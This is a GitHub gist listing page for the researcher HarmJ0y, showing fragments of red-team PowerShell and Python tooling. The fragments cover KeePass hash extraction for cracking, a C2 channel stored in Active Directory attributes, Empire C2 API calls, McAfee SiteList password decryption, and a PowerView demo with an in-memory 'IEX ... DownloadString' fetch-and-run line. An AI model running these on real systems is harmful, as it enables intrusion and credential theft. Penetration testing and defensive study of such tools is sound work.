Skip to content

Instantly share code, notes, and snippets.

View HarmJ0y's full-sized avatar
💭
Coding towards chaotic good while living on the decision boundary

Will HarmJ0y

💭
Coding towards chaotic good while living on the decision boundary
View GitHub Profile
@HarmJ0y
HarmJ0y / keepass2john.py
Created June 30, 2016 06:02
Python port of John the Ripper's keepass2john - extracts a HashCat/john crackable hash from KeePass 1.x/2.X databases
#!/usr/bin/python
# Python port of keepass2john from the John the Ripper suite (http://www.openwall.com/john/)
# ./keepass2john.c was written by Dhiru Kholia <dhiru.kholia at gmail.com> in March of 2012
# ./keepass2john.c was released under the GNU General Public License
# source keepass2john.c source code from: http://fossies.org/linux/john/src/keepass2john.c
#
# Python port by @harmj0y, GNU General Public License
#
@HarmJ0y
HarmJ0y / RC4.ps1
Last active August 30, 2022 15:03
PowerShell RC4 Implementation
function ConvertTo-Rc4ByteStream {
<#
.SYNOPSIS
Converts an input byte array to a RC4 cipher stream using the specified key.
Author: @harmj0y
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
@HarmJ0y
HarmJ0y / ADC2.ps1
Last active February 16, 2024 02:18
Command and Control channel through Active Directory Object Properties
#Requires -Version 2
function New-ADPayload {
<#
.SYNOPSIS
Stores PowerShell logic in the mSMQSignCertificates of the specified -TriggerAccount and generates
a one-line launcher.
Author: @harmj0y
@HarmJ0y
HarmJ0y / git.txt
Created May 31, 2016 00:46
Common git commands
Show remote branches:
git branch -v -a
To check out the remote branch:
http://stackoverflow.com/questions/1783405/checkout-remote-git-branch
git fetch
git checkout <branch>
@HarmJ0y
HarmJ0y / wmi_dns.ps1
Last active August 31, 2022 17:21
wmi_dns
Get all zones:
Get-WmiObject MicrosoftDNS_Zone -Namespace Root\MicrosoftDNS -ComputerName primary.testlab.local | Select ContainerName
Get all A records from a zone:
Get-WmiObject -Namespace Root\MicrosoftDNS -Query "SELECT * FROM MicrosoftDNS_ResourceRecord WHERE ContainerName='testlab.local'" -ComputerName primary.testlab.local | ?{$_.TextRepresentation -match " A "} | Select -Expand TextRepresentation
@HarmJ0y
HarmJ0y / PSConfEU.ps1
Last active October 15, 2023 22:37
PSConfEU PowerView demo
# Import PowerView into memory without touching disk
# IEX (New-Object Net.WebClient).DownloadString('http://HOST/powerview.ps1')
###################################
# Hunting for Users
###################################
# search for administrator groups
@HarmJ0y
HarmJ0y / anon.ps1
Created April 18, 2016 05:06
anon.ps1
$GroupData = @{}
$UserData = @{}
$ServerData = @{}
Import-CSV .\DomainGroups.csv | ForEach-Object {
if($GroupData[$_.GroupName]) {
$_.GroupName = $GroupData[$_.GroupName]
}
else {
$guid = ([guid]::NewGuid()).Guid
@HarmJ0y
HarmJ0y / rest.sh
Last active March 20, 2020 20:14
Empire RESTful API usage
# start empire headless with the specified API username and password
./empire --headless --username empireadmin --password 'Password123!'
# login and the current server token
curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/admin/login -X POST -d '{"username":"empireadmin", "password":"Password123!"}'
# store the token in a variable
TOKEN=<API_token>
# see listener options
@HarmJ0y
HarmJ0y / Start-FileSystemMonitor.ps1
Last active September 12, 2022 01:45
Start-FileSystemMonitor
Function Start-FileSystemMonitor {
<#
.SYNOPSIS
This function will monitor one or more file paths for any file
creation, deletion, modification, or renaming events. Data including
the change type, ACL for the file, etc. is output to the screen or
a specified -LogFile.
If -InjectShellCmd is specified, the given command is inserted into
@HarmJ0y
HarmJ0y / Get-DecryptedSitelistPassword.ps1
Created February 12, 2016 03:05
Get-DecryptedSitelistPassword.ps1
function Get-DecryptedSitelistPassword {
# PowerShell adaptation of https://github.com/funoverip/mcafee-sitelist-pwd-decryption/
# Original Author: Jerome Nokin (@funoverip / jerome.nokin@gmail.com)
# port by @harmj0y
[CmdletBinding()]
Param (
[Parameter(Mandatory = $True)]
[String]
$B64Pass
)